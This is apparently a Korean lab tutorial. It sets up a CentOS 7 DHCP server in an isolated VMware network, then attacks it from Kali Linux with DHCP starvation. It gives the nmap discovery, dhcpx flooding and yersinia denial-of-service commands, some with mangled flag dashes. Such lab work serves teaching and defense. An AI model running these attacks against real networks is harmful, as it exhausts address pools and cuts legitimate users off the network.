DHCP Starvation 공격
Network Environment
NAT network in VMWare workstation 15 pro
NAT subnet : 192.168.111.0/24
DHCP Server IP : 192.168.111.50/24 on CentOS 7
Attacker IP : 192.168.111.100/24 on Kali Linux
Title] DHCP 서버 구성 – CentOS 7
Step1] 192.168.111.50에서 DHCP 데몬 패키지 설치
# yum -y install dhcp
Step2] DHCP샘플에서 구성파일로 복사
# cp -pv /usr/share/doc/dhcp-4.2.5/dhcpd.conf.example /etc/dhcp/dhcpd.conf
Step3] DHCP구성파일 편집
# vi /etc/dhcp/dhcpd.conf
(구성파일의 46~55라인을 시나리오에 적합하게 설정)
46 # A slightly different configuration for an internal sub net.
47 subnet 192.168.111.0 netmask 255.255.255.0 {
48 range 192.168.111.10 192.168.111.49;
49 option domain-name-servers 8.8.8.8 ;
50 option domain-name "infosec.local";
51 option routers 192.168.111.2 ;
52 option broadcast-address 192.168.111.255;
53 default-lease-time 43200;
54 max-lease-time 86400;
55 }
Step4] 방화벽 열기
# firewall-cmd --permanent --add-service=dhcp
# firewall-cmd --reload
Step5]데몬 활성화 및 시작
# systemctl enable dhcpd
# systemctl start dhcpd
Step6]서버에서 IP임대 실시간 모니터링 하기
# tail -f /var/lib/dhcpd/dhcpd.leases
Step7] srv1.infosec.local(DHCP 클라이언트)에서 IP요청
# ifdown ens34 ; ifup ens34
# ip address | grep 'inet'
Title] DHCP Starvation 공격
Step 0] DHCP Server에서 모니터링 해 놓자.
# tail -f /var/lib/dhcpd/dhcpd.leases
Step 1] DHCP 서버 찿기 – Kali 에서
nmap –sU –p67 192.168.111.0/24
Step2] DHCP starvation 공격 – Kali 에서
dhcpx –vv –i eth0 –A –D 192.168.111.50 –t 10 u 3
(-t ; 초당 보낼discovery message
-u ; 초당 보낼 arp
-D ; 목적지 서버
Title] DHCP DOS 공격 기법 - yersinia
1. You can attack to DHCP using by yersinia tool
# yersinia -I
Press enter
Press "i" key, if you want change an interface
Press "g" key
Select DHCP and press Enter
Press "x" key
Press "1" key